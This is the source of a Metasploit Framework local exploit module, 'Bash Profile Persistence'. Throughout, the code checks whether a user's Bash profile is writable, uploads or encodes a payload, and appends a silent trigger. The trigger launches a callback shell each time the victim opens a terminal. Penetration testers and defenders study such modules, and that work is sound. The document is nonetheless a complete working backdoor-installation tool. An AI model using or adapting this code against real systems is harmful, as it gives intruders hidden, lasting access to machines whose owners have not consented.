## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Auxiliary::Report include Msf::Exploit::EXE # for generate_payload_exe include Msf::Post::Linux::User include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/bash_profile_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'Bash Profile Persistence', 'Description' => %q{ This module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target user opens a Bash terminal. Verified on Ubuntu 22.04 and 18.04 desktop with Gnome }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Long ' ], 'Payload' => { 'BadChars' => '#%\n"' }, 'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell 'Platform' => ['unix', 'linux'], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['meterpreter', 'shell'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION] ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] } ) ) register_options( [ OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), ] ) end def target_user return datastore['USER'] unless datastore['USER'].blank? whoami end def profile_path user = target_user home = get_home_dir(user) "#{home}/#{datastore['BASH_PROFILE']}" end def check print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') ppath = profile_path # check that target Bash profile file exists return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath) vprint_good("Bash profile exists: #{ppath}") # check that target Bash profile file is writable return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath) vprint_good("Bash profile is writable: #{ppath}") CheckCode::Detected("Bash profile exists and is writable: #{ppath}") end def install_persistence # create Bash profile backup on local system before persistence is added ppath = profile_path backup_profile = read_file(ppath) backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') print_status("Created backup Bash profile: #{backup_profile_path}") if payload.arch.first == 'cmd' pload = payload.encoded pload = pload.sub(/&$/, '') # remove trailing & since we add it later exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null else # upload persistent payload to target and make executable (chmod 700) payload_path = datastore['WritableDir'] payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) payload_path << payload_name upload_and_chmodx(payload_path, generate_payload_exe) # write payload trigger to Bash profile exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null end append_file(ppath, exec_payload_string) vprint_status('Created Bash profile persistence') print_good('Payload will be triggered when target opens a Bash terminal') @clean_up_rc = "rm #{payload_path}\n" @clean_up_rc << "upload #{backup_profile_path} #{ppath}" end end